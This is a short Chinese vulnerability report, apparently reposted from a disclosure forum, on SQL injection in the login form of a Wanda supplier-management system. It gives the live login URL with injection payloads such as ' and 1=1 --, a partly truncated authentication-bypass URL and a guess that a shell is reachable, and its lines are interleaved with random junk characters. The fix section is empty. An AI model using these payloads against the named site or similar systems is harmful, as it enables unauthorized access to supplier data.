万达供应商系统SQL注射漏洞

admin

简要描述：万达某分站sql注入。敏感信息泄露。
7 K$ e& Y  Z4 {. r2 `8 _详细说明：
万达scm系统登陆框sql注入。
$ Y4 U" e- j  i3 k+ G
http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27
8 W# }8 m( t& A- j

500错误。
, H5 }  G9 ?) U9 ?
5 Z* `# H0 z* `: R0 _1 A# ?2 O, T; L用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
1 B4 c7 I" x8 N" zhttp://www.myhack58.com/Article/UploadPic/2013-3/201332317223677547.png
截图有一点问题，用户名，和密码输入' and 1=1 --可以得到相同的提示，可自测。）
& Y5 J& q: P8 c, [8 o) E6 }2 C  `经过分析，登陆验证的过程应该是：
3 d- E# e  n( D* }
+ m# D3 `9 W( P- N; U1 f' q7 N取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。
" K# d" {5 {+ C" K$ H, chttp://www.myhack58.com/Article/UploadPic/2013-3/201332317233886589.png
0 j  }$ t, {& p% i8 p
/ j' _8 o2 ~3 t$ ]oracle数据库，存在注入点。@大连万达，你怎么看？
http://www.myhack58.com/Article/UploadPic/2013-3/201332317241777393.png

系统里有万达的供应商资料什么的,提交数据的地方随便输入'，提交500错误。没深入。目测可shell。
漏洞证明：
4 g% y4 a3 p6 |! \2 I3 \6 I万达scm系统登陆框sql注入。

# ?$ ^9 [& z/ n  y2 X, h! Jhttp://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27
, q) Z* D* m, \& c7 Z6 j+ ~3 q
, D* q5 g6 r6 `- J6 l: N$ g
, r8 R0 c+ O' k! c. Q) w500错误。
4 y+ L  K9 w+ O" }+ X
# R% j! F+ H# I/ D$ }9 O用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
# ^8 O( C% F+ j4 R4 m$ R( H& D6 c2 vhttp://www.myhack58.com/Article/UploadPic/2013-3/20133231728465694.png
% ~; ]3 o8 a& u) a. Q4 G* E

3 R& `: g5 k$ P0 Z1 c5 H7 y. [（截图有一点问题）
3 z4 j0 F! \7 o& A! Y8 ]; p
8 F# O! D% ~' |. [8 A8 p怎么饶都饶不过去；经过分析，登陆验证的过程应该是：
% X0 r8 v: e4 _1 y' e" x9 H, q
7 V, c6 _; S5 v. k取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。

6 E0 m: q  J) {7 v2 S$ z/ o绕过：
http://www.vans-china.cn/LoginUs ... 1%27=%271&PWD=1
: N! |* T2 M0 y/ h" r3 T
2 `9 l  N7 o+ w" Z" l7 O
oracle数据库，存在注入点。@大连万达，你怎么看？
​系统里有万达的供应商资料什么的，有发布公告，没深入。目测可shell。

: ~2 X2 d8 F3 M+ f修复方案：
' w6 e/ H9 B4 w  A. ~+ A" b。。。
% z6 ^8 t. P  _
* I' K: X3 E: U* e! I8 e" _
厂商已经确认

[/td][/tr]
[/table]
- T5 X0 V, H1 F% N' x; k